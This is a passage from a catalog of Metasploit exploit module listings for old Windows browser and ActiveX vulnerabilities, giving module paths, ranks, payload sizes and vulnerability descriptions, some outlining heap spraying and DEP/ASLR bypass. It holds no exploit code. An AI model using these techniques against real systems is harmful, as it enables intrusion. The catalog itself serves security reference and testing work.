  import, a C++ object is deleted and later reused. This leads to
arbitrary
  code execution.

  This exploit utilizes a combination of heap spraying and the
  .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module
does not
  opt-in to ASLR. As such, this module should be reliable on all
Windows
  versions with .NET 2.0.50727 installed.

End Exploit Number 1439

Begin Exploit Number 1440
       Name: MS11-050 IE mshtml!CObjectElement Use After Free
     Module: exploit/windows/browser/ms11_050_mshtml_cobjectelement
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-06-16

Payload information:
  Space: 500
  Avoid: 6 characters

Description:
  This module exploits a use-after-free vulnerability in Internet
Explorer. The
  vulnerability occurs when an invalid <object> tag exists and other
elements
  overlap/cover where the object tag should be when rendered (due to
their
  styles/positioning). The mshtml!CObjectElement is then freed from
memory because
  it is invalid. However, the mshtml!CDisplay object for the page
continues to keep
  a reference to the freed <object> and attempts to call a function on
it, leading
  to the use-after-free.

    Please note that for IE 8 targets, JRE (Java Runtime Environment)
is required
  to bypass DEP (Data Execution Prevention).

End Exploit Number 1440

Begin Exploit Number 1441
       Name: MS11-081 Microsoft Internet Explorer Option Element Use-
After-Free
     Module: exploit/windows/browser/ms11_081_option
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-10-11

Payload information:

Description:
  This module exploits a vulnerability in Microsoft Internet Explorer.
A memory
  corruption may occur when the Option cache isn't updated properly,
which allows
  other JavaScript methods to access a deleted Option element, and
results in code
  execution under the context of the user.

End Exploit Number 1441

Begin Exploit Number 1442
       Name: MS11-093 Microsoft Windows OLE Object File Handling
Remote Code Execution
     Module: exploit/windows/browser/ms11_093_ole32
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-12-13

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a type confusion vulnerability in the OLE32 
component of
  Windows XP SP3. The vulnerability exists in the 
CPropertyStorage::ReadMultiple
  function.

  A Visio document with a specially crafted Summary Information Stream 
embedded allows
  to get remote code execution through Internet Explorer, on systems 
with Visio Viewer
  installed.

End Exploit Number 1442

Begin Exploit Number 1443
       Name: MS12-004 midiOutPlayNextPolyEvent Heap Overflow
     Module: exploit/windows/browser/ms12_004_midi
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-10

Payload information:
  Space: 1024

Description:
  This module exploits a heap overflow vulnerability in the Windows 
Multimedia
  Library (winmm.dll). The vulnerability occurs when parsing specially 
crafted
  MIDI files.  Remote code execution can be achieved by using the 
Windows Media Player
  ActiveX control.

    Exploitation is done by supplying a specially crafted MIDI file 
with
  specific events, causing the offset calculation being higher than 
what is
```

```
  available on the heap (0x400 allocated by WINMM!winmmAlloc), and
then allowing
  us to either "inc al" or "dec al" a byte.  This can be used to
corrupt an array
  (CImplAry) we setup, and force the browser to confuse types from
tagVARIANT objects,
  which leverages remote code execution under the context of the user.

    Note: At this time, for IE 8 target, msvcrt ROP is used by
default. However,
  if you know your target's patch level, you may also try the 'MSHTML'
advanced
  option for an info leak based attack.  Currently, this module only
supports two
  MSHTML builds: 8.0.6001.18702, which is often seen in a newly
installed XP SP3.
  Or 8.0.6001.19120, which is patch level before the MS12-004 fix.

    Also, based on our testing, the vulnerability does not seem to
trigger when
  the victim machine is operated via rdesktop.

End Exploit Number 1443

Begin Exploit Number 1444
       Name: MS12-037 Microsoft Internet Explorer Fixed Table Col Span
Heap Overflow
     Module: exploit/windows/browser/ms12_037_ie_colspan
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-12

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a heap overflow vulnerability in Internet
Explorer caused
  by an incorrect handling of the span attribute for col elements from
a fixed table,
  when they are modified dynamically by javascript code.

End Exploit Number 1444

Begin Exploit Number 1445
       Name: MS12-037 Microsoft Internet Explorer Same ID Property
```

```
Deleted Object Handling Memory Corruption
     Module: exploit/windows/browser/ms12_037_same_id
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-12

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a memory corruption flaw in Internet Explorer 8 
when
  handling objects with the same ID property. At the moment this 
module targets
  IE8 over Windows XP SP3 and Windows 7. This module supports heap 
massaging
  as well as the heap spray method seen in the wild (Java 
msvcrt71.dll).

End Exploit Number 1445

Begin Exploit Number 1446
       Name: MS13-009 Microsoft Internet Explorer SLayoutRun Use-
After-Free
     Module: exploit/windows/browser/ms13_009_ie_slayoutrun_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-02-13

Payload information:
  Space: 920
  Avoid: 1 characters

Description:
  This module exploits a use-after-free vulnerability in Microsoft 
Internet Explorer
  where a CParaElement node is released but a reference is still kept
  in CDoc. This memory is reused when a CDoc relayout is performed.

End Exploit Number 1446

Begin Exploit Number 1447
       Name: MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory
```

```
Access
     Module: exploit/windows/browser/
ms13_022_silverlight_script_object
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-12

Payload information:

Description:
  This module exploits a vulnerability in Microsoft Silverlight. The
vulnerability exists on
  the Initialize() method from System.Windows.Browser.ScriptObject,
which access memory in an
  unsafe manner. Since it is accessible for untrusted code (user
controlled) it's possible
  to dereference arbitrary memory which easily leverages to arbitrary
code execution. In order
  to bypass DEP/ASLR a second vulnerability is used, in the public
WriteableBitmap class
  from System.Windows.dll. This module has been tested successfully on
IE6 - IE10, Windows XP
  SP3 / Windows 7 SP1.

End Exploit Number 1447

Begin Exploit Number 1448
       Name: MS13-037 Microsoft Internet Explorer
COALineDashStyleArray Integer Overflow
     Module: exploit/windows/browser/ms13_037_svg_dashstyle
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-06

Payload information:
  Space: 948

Description:
  This module exploits an integer overflow vulnerability on Internet
Explorer.
  The vulnerability exists in the handling of the dashstyle.array
length for vml
  shapes on the vgx.dll module.
```

```
    The exploit has been built and tested specifically against Windows
7 SP1 with
  Internet Explorer 8. It uses either JRE6 or an information leak (to
ntdll) to
  bypass ASLR, and by default the info leak is used. To make sure the
leak is
  successful, the ntdll version should be either v6.1.7601.17514 (the
default dll
  version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll
v6.1.7601.17725
  (installed after apply MS12-001). If the target doesn't have the
version the exploit
  wants, it will refuse to attack by sending a fake 404 message
(webpage not found).

    If you wish to try the JRE6 component instead to bypass ASLR, you
can set the
  advanced datastore option to 'JRE6'. If JRE6 is chosen but the
target doesn't
  have this particular component, the exploit will also refuse to
attack by
  sending a 404 message.

End Exploit Number 1448

Begin Exploit Number 1449
       Name: MS13-055 Microsoft Internet Explorer CAnchorElement Use-
After-Free
     Module: exploit/windows/browser/ms13_055_canchor
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-09

Payload information:
  Avoid: 1 characters

Description:
  In IE8 standards mode, it's possible to cause a use-after-free
condition by first
  creating an illogical table tree, where a CPhraseElement comes after
CTableRow,
  with the final node being a sub table element. When the
CPhraseElement's outer
  content is reset by using either outerText or outerHTML through an
event handler,
  this triggers a free of its child element (in this case, a
CAnchorElement, but
```

```
  some other objects apply too), but a reference is still kept in
function
  SRunPointer::SpanQualifier. This function will then pass on the
invalid reference
  to the next functions, eventually used in mshtml!CElement::Doc when
it's trying to
  make a call to the object's SecurityContext virtual function at
offset +0x70, which
  results a crash. An attacker can take advantage of this by first
creating an
  CAnchorElement object, let it free, and then replace the freed
memory with another
  fake object. Successfully doing so may allow arbitrary code
execution under the
  context of the user.

  This bug is specific to Internet Explorer 8 only. It was originally
discovered by
  Jose Antonio Vazquez Gonzalez and reported to iDefense, but was
discovered again
  by Orange Tsai at Hitcon 2013.

End Exploit Number 1449

Begin Exploit Number 1450
       Name: MS13-059 Microsoft Internet Explorer CFlatMarkupPointer
Use-After-Free
     Module: exploit/windows/browser/ms13_059_cflatmarkuppointer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-27

Payload information:
  Avoid: 1 characters

Description:
  This is a memory corruption bug found in Microsoft Internet
Explorer. On IE 9,
  it seems to only affect certain releases of mshtml.dll, ranging from
a newly
  installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013
update). IE8
  requires a different way to trigger the vulnerability, but not
currently covered
  by this module.

  The issue is specific to the browser's IE7 document compatibility,
which can be
  defined in X-UA-Compatible, and the content editable mode must be
enabled. An
  "onmove" event handler is also necessary to be able to trigger the
bug, and the
  event will be run twice before the crash. The first time is due to
the position
  change of the body element, which is also when a MSHTML!
CFlatMarkupPointer::`vftable'
  object is created during a "SelectAll" command, and this object will
be used later
  on for the crash. The second onmove event seems to be triggered by a
InsertButton
  (or Insert-whatever) command, which is also responsible for the free
of object
  CFlatMarkupPointer during page rendering. The EnsureRecalcNotify()
function will
  then still return an invalid reference to CFlatMarkupPointer (stored
in EBX), and
  then passes this on to the next functions (GetLineInfo ->
QIClassID).  When this
  reference arrives in function QIClassID, an access violation finally
occurs when
  the function is trying to call QueryInterface() with the bad
reference, and this
  results a crash. Successful control of the freed memory may leverage
arbitrary code
  execution under the context of the user.

  Note: It is also possible to see a different object being freed and
used, doesn't
  always have to be CFlatMarkupPointer.

End Exploit Number 1450

Begin Exploit Number 1451
       Name: MS13-069 Microsoft Internet Explorer CCaret Use-After-
Free
     Module: exploit/windows/browser/ms13_069_caret
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-09-10

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a use-after-free vulnerability found in
Internet Explorer,
  specifically in how the browser handles the caret (text cursor)
object. In IE's standards
  mode, the caret handling's vulnerable state can be triggered by
first setting up an
  editable page with an input field, and then we can force the caret
to update in an
  onbeforeeditfocus event by setting the body's innerHTML property. In
this event handler,
  mshtml!CCaret::`vftable' can be freed using a document.write()
function, however,
  mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and
still uses the
  same reference to the CCaret object. When the function tries to use
this invalid reference
  to call a virtual function at offset 0x2c, it finally results a
crash. Precise control of
  the freed object allows arbitrary code execution under the context
of the user.

End Exploit Number 1451

Begin Exploit Number 1452
       Name: MS13-080 Microsoft Internet Explorer CDisplayPointer Use-
After-Free
     Module: exploit/windows/browser/ms13_080_cdisplaypointer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-10-08

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Microsoft Internet
Explorer. It was originally
  found being exploited in the wild targeting Japanese and Korean IE8
users on Windows XP,
  around the same time frame as CVE-2013-3893, except this was kept
out of the public eye by
  multiple research companies and the vendor until the October patch
release.

  This issue is a use-after-free vulnerability in CDisplayPointer via
the use of a
  "onpropertychange" event handler. To set up the appropriate buggy
```

```
conditions, we first craft
  the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element.
  If we use a select() function for the CTextArea element, two
important things will happen:
  a CDisplayPointer object will be created for CTextArea, and it will
also trigger another
  event called "onselect". The "onselect" event will allow us to set
up for the actual event
  handler we want to abuse - the "onpropertychange" event. Since the
CBlockElement is a child
  of CTextArea, if we do a node swap of CBlockElement in "onselect",
this will trigger
  "onpropertychange".  During "onpropertychange" event handling, a
free of the CDisplayPointer
  object can be forced by using an "Unselect" (other approaches also
apply), but a reference
  of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after
  the CDoc::GetLineInfo call, because it is still trying to use that
to update
  CDisplayPointer's position. When this invalid reference arrives in
QIClassID, a crash
  finally occurs due to accessing the freed memory. By controlling
this freed memory, it is
  possible to achieve arbitrary code execution under the context of
the user.

End Exploit Number 1452

Begin Exploit Number 1453
       Name: MS13-090 CardSpaceClaimCollection ActiveX Integer
Underflow
     Module: exploit/windows/browser/ms13_090_cardspacesigninhelper
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-11-08

Payload information:
  Space: 4096
  Avoid: 1 characters

Description:
  This module exploits a vulnerability on the CardSpaceClaimCollection
class from the
  icardie.dll ActiveX control. The vulnerability exists while the
handling of the
```

```
  CardSpaceClaimCollection object. CardSpaceClaimCollections stores a
collection of
  elements on a SafeArray and keeps a size field, counting the number
of elements on the
  collection. By calling the remove() method on an empty
CardSpaceClaimCollection it is
  possible to underflow the length field, storing a negative integer.
Later, a call to
  the add() method will use the corrupted length field to compute the
address where write
  into the SafeArray data, allowing to corrupt memory with a pointer
to controlled contents.
  This module achieves code execution by using VBScript as discovered
in the wild on
  November 2013 to (1) create an array of html OBJECT elements, (2)
create holes, (3) create
  a CardSpaceClaimCollection whose SafeArray data will reuse one of
the holes, (4) corrupt
  one of the legit OBJECT elements with the described integer overflow
and (5) achieve code
  execution by forcing the use of the corrupted OBJECT.

End Exploit Number 1453

Begin Exploit Number 1454
       Name: MS14-012 Microsoft Internet Explorer CMarkup Use-After-
Free
     Module: exploit/windows/browser/ms14_012_cmarkup_uaf
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-02-13

Payload information:
  Space: 960

Description:
  This module exploits an use after free condition on Internet
Explorer as used in the wild
  as part of "Operation SnowMan" in February 2014. The module uses
Flash Player 12 in order to
  bypass ASLR and DEP.

End Exploit Number 1454

Begin Exploit Number 1455
       Name: MS14-012 Microsoft Internet Explorer TextRange Use-After-
Free
```

```
     Module: exploit/windows/browser/ms14_012_textrange
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-11

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a use-after-free vulnerability found in 
Internet Explorer. The flaw
  was most likely introduced in 2013, therefore only certain builds of 
MSHTML are
  affected. In our testing with IE9, these vulnerable builds appear to 
be between
  9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability 
shipped between
  August 2013, when it was introduced, until the fix issued in early 
March 2014.

End Exploit Number 1455

Begin Exploit Number 1456
       Name: MS14-064 Microsoft Internet Explorer Windows OLE 
Automation Array Remote Code Execution
     Module: exploit/windows/browser/ms14_064_ole_code_execution
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-11-13

Payload information:
  Avoid: 1 characters

Description:
  This module exploits the Windows OLE Automation array vulnerability, 
CVE-2014-6332.
  The vulnerability is known to affect Internet Explorer 3.0 until 
version 11 within
  Windows 95 up to Windows 10, and no patch for Windows XP. However, 
this exploit will
  only target Windows XP and Windows 7 box due to the Powershell 
limitation.

  Windows XP by defaults supports VBS, therefore it is used as the
```

```
attack vector. On other
  newer Windows systems, the exploit will try using Powershell
instead.

End Exploit Number 1456

Begin Exploit Number 1457
       Name: Internet Explorer 11 VBScript Engine Memory Corruption
     Module: exploit/windows/browser/ms16_051_vbscript
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-05-10

Payload information:

Description:
  This module exploits the memory corruption vulnerability
(CVE-2016-0189)
  present in the VBScript engine of Internet Explorer 11.

End Exploit Number 1457

Begin Exploit Number 1458
       Name: Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory
Corruption
     Module: exploit/windows/browser/msvidctl_mpeg2
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-07-05

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a memory corruption within the MSVidCtl
component of Microsoft
  DirectShow (BDATuner.MPEG2TuneRequest).
  By loading a specially crafted GIF file, an attacker can overrun a
buffer and
  execute arbitrary code.

  ClassID is now configurable via an advanced option (otherwise
randomized) - I)ruid
```

```
End Exploit Number 1458

Begin Exploit Number 1459
       Name: Microsoft Whale Intelligent Application Gateway ActiveX
Control Buffer Overflow
     Module: exploit/windows/browser/mswhale_checkforupdates
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-04-15

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Microsoft Whale
Intelligent Application
  Gateway Whale Client. When sending an overly long string to
CheckForUpdates()
  method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
  arbitrary code.

End Exploit Number 1459

Begin Exploit Number 1460
       Name: MS12-043 Microsoft XML Core Services MSXML Uninitialized
Memory Corruption
     Module: exploit/windows/browser/msxml_get_definition_code_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-06-12

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a memory corruption flaw in Microsoft XML Core
Services
  when trying to access an uninitialized Node with the getDefinition
API, which
  may corrupt memory allowing remote code execution.
```

```
End Exploit Number 1460

Begin Exploit Number 1461
       Name: NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample()
Buffer Overflow
     Module: exploit/windows/browser/nctaudiofile2_setformatlikesample
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-01-24

Payload information:
  Space: 2048
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the
NCTAudioFile2.Audio ActiveX
  Control provided by various audio applications. By sending an overly
long
  string to the "SetFormatLikeSample()" method, an attacker may be
able to
  execute arbitrary code.

End Exploit Number 1461

Begin Exploit Number 1462
       Name: Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/nis2004_antispam
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2004-03-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Norton AntiSpam
2004. When
  sending an overly long string to the LaunchCustomRuleWizard() method
  of symspam.dll (2004.1.0.147) an attacker may be able to execute
  arbitrary code.
```

```
End Exploit Number 1462

Begin Exploit Number 1463
       Name: Symantec Norton Internet Security 2004 ActiveX Control
Buffer Overflow
     Module: exploit/windows/browser/nis2004_get
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-05-16

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the ISAlertDataCOM
ActiveX
  Control (ISLAert.dll) provided by Symantec Norton Internet Security
2004.
  By sending an overly long string to the "Get()" method, an attacker
may be
  able to execute arbitrary code.

End Exploit Number 1463

Begin Exploit Number 1464
       Name: IBM Lotus Notes Client URL Handler Command Injection
     Module: exploit/windows/browser/notes_handler_cmdinject
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-18

Payload information:
  Space: 2048

Description:
  This module exploits a command injection vulnerability in the URL
handler for
  for the IBM Lotus Notes Client <= 8.5.3. The registered handler can
be abused with
  a specially crafted notes:// URL to execute arbitrary commands with
also arbitrary
  arguments. This module has been tested successfully on Windows XP
SP3 with IE8,
  Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.

End Exploit Number 1464

Begin Exploit Number 1465
       Name: Novell GroupWise Client gwcls1.dll ActiveX Remote Code
Execution
     Module: exploit/windows/browser/novell_groupwise_gwcls1_actvx
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-30

Payload information:
  Space: 1040
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the Novell GroupWise Client
gwcls1.dll
  ActiveX. Several methods in the GWCalServer control use user
provided data as
  a pointer, which allows to read arbitrary memory and execute
arbitrary code. This
  module has been tested successfully with GroupWise Client 2012 on
IE6 - IE9. The
  JRE6 needs to be installed to achieve ASLR bypass.

End Exploit Number 1465

Begin Exploit Number 1466
       Name: Novell iPrint Client ActiveX Control call-back-url Buffer
Overflow
     Module: exploit/windows/browser/novelliprint_callbackurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-20

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in Novell iPrint
Client 5.42.
```

```
  When sending an overly long string to the 'call-back-url' parameter
in an
  op-client-interface-version action of ienipp.ocx an attacker may be
able to
  execute arbitrary code.

End Exploit Number 1466

Begin Exploit Number 1467
       Name: Novell iPrint Client ActiveX Control Date/Time Buffer
Overflow
     Module: exploit/windows/browser/novelliprint_datetime
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-08

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Novell iPrint Client
5.30. When
  passing a specially crafted date/time string via certain parameters
to ienipp.ocx
  an attacker can execute arbitrary code.

  NOTE: The "operation" variable must be set to a valid command in
order to reach this
  vulnerability.

End Exploit Number 1467

Begin Exploit Number 1468
       Name: Novell iPrint Client ActiveX Control ExecuteRequest
Buffer Overflow
     Module: exploit/windows/browser/novelliprint_executerequest
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-02-22

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in Novell iPrint Client
4.26. When
  sending an overly long string to the ExecuteRequest() property of
ienipp.ocx
  an attacker may be able to execute arbitrary code.

End Exploit Number 1468

Begin Exploit Number 1469
       Name: Novell iPrint Client ActiveX Control ExecuteRequest debug
Buffer Overflow
     Module: exploit/windows/browser/novelliprint_executerequest_dbg
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-04

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in Novell iPrint
Client 5.40.
  When sending an overly long string to the 'debug' parameter in
ExecuteRequest()
  property of ienipp.ocx an attacker may be able to execute arbitrary
code.

End Exploit Number 1469

Begin Exploit Number 1470
       Name: Novell iPrint Client ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/novelliprint_getdriversettings
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-06-16

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Novell iPrint Client
4.34. When
  sending an overly long string to the GetDriverSettings() property of
ienipp.ocx
  an attacker may be able to execute arbitrary code.

End Exploit Number 1470

Begin Exploit Number 1471
       Name: Novell iPrint Client ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/novelliprint_getdriversettings_2
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-11-15

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Novell iPrint Client
5.52. When
  sending an overly long string to the GetDriverSettings() property of
ienipp.ocx
  an attacker may be able to execute arbitrary code.

End Exploit Number 1471

Begin Exploit Number 1472
       Name: Novell iPrint Client ActiveX Control target-frame Buffer
Overflow
     Module: exploit/windows/browser/novelliprint_target_frame
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-08

Payload information:
  Space: 1456
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Novell iPrint Client
5.30. When
  passing an overly long string via the "target-frame" parameter to
```

```
ienipp.ocx
  an attacker can execute arbitrary code.

  NOTE: The "operation" variable must be set to a valid command in
order to reach this
  vulnerability.

End Exploit Number 1472

Begin Exploit Number 1473
       Name: NTR ActiveX Control Check() Method Buffer Overflow
     Module: exploit/windows/browser/ntr_activex_check_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-11

Payload information:
  Space: 956
  Avoid: 0 characters

Description:
  This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
  vulnerability exists in the Check() method, due to the insecure
usage of strcat to
  build a URL using the bstrParams parameter contents (note: this is
also the reason
  why the module won't allow you to modify the URIPATH), which leads
to code execution
  under the context of the user visiting a malicious web page. In
order to bypass
  DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.

End Exploit Number 1473

Begin Exploit Number 1474
       Name: NTR ActiveX Control StopModule() Remote Code Execution
     Module: exploit/windows/browser/ntr_activex_stopmodule
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-11

Payload information:
  Space: 1024
  Avoid: 0 characters
```

```
Description:
  This module exploits a vulnerability found in the NTR ActiveX 1.1.8.
The
  vulnerability exists in the StopModule() method, where the lModule
parameter is
  used to dereference memory to get a function pointer, which leads to
code execution
  under the context of the user visiting a malicious web page.

End Exploit Number 1474

Begin Exploit Number 1475
       Name: Oracle AutoVue ActiveX Control SetMarkupMode Buffer
Overflow
     Module: exploit/windows/browser/oracle_autovue_setmarkupmode
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-18

Payload information:
  Space: 948

Description:
  This module exploits a vulnerability found in the AutoVue.ocx
ActiveX control.
  The vulnerability, due to the insecure usage of an strcpy like
function in the
  SetMarkupMode method, when handling a specially crafted sMarkup
argument, allows
  to trigger a stack based buffer overflow which leads to code
execution under the
  context of the user visiting a malicious web page.

  The module has been successfully tested against Oracle AutoVue
Desktop Version
  20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed
to DEP and
  ASLR bypass).

End Exploit Number 1475

Begin Exploit Number 1476
       Name: Oracle Document Capture 10g ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/oracle_dc_submittoexpress
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-08-28

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Oracle Document 
Capture 10g (10.1.3.5.0).
  Oracle Document Capture 10g comes bundled with a third party ActiveX 
control
  emsmtp.dll (6.0.1.0). When passing an overly long string to the 
method "SubmitToExpress"
  an attacker may be able to execute arbitrary code.

End Exploit Number 1476

Begin Exploit Number 1477
       Name: Oracle WebCenter Content CheckOutAndOpen.dll ActiveX 
Remote Code Execution
     Module: exploit/windows/browser/oracle_webcenter_checkoutandopen
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-16

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability found in the Oracle WebCenter 
Content
  CheckOutAndOpenControl ActiveX. This vulnerability exists in 
openWebdav(), where
  user controlled input is used to call ShellExecuteExW(). This module 
abuses the
  control to execute an arbitrary HTA from a remote location. This 
module has been
  tested successfully with the CheckOutAndOpenControl ActiveX 
installed with Oracle
  WebCenter Content 11.1.1.6.0.

End Exploit Number 1477
```

```
Begin Exploit Number 1478
       Name: Orbit Downloader Connecting Log Creation Buffer Overflow
     Module: exploit/windows/browser/orbit_connecting
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-02-03

Payload information:
  Space: 750
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Orbit Downloader 
2.8.4. When an
  attacker serves up a malicious web site, arbitrary code may be 
executed.
  The PAYLOAD windows/shell_bind_tcp works best.

End Exploit Number 1478

Begin Exploit Number 1479
       Name: VMWare OVF Tools Format String Vulnerability
     Module: exploit/windows/browser/ovftool_format_string
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-11-08

Payload information:
  Avoid: 158 characters

Description:
  This module exploits a format string vulnerability in VMWare OVF 
Tools 2.1 for
  Windows. The vulnerability occurs when printing error messages while 
parsing a
  a malformed OVF file. The module has been tested successfully with 
VMWare OVF Tools
  2.1 on Windows XP SP3.

End Exploit Number 1479

Begin Exploit Number 1480
       Name: PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' 
Trusted DWORD Vulnerability
```

```
     Module: exploit/windows/browser/pcvue_func
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-10-05

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a function pointer control within SVUIGrd.ocx
of PcVue 10.0.
  By setting a dword value for the SaveObject() or LoadObject(), an
attacker can
  overwrite a function pointer and execute arbitrary code.

End Exploit Number 1480

Begin Exploit Number 1481
       Name: Persits XUpload ActiveX MakeHttpRequest Directory
Traversal
     Module: exploit/windows/browser/persits_xupload_traversal
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
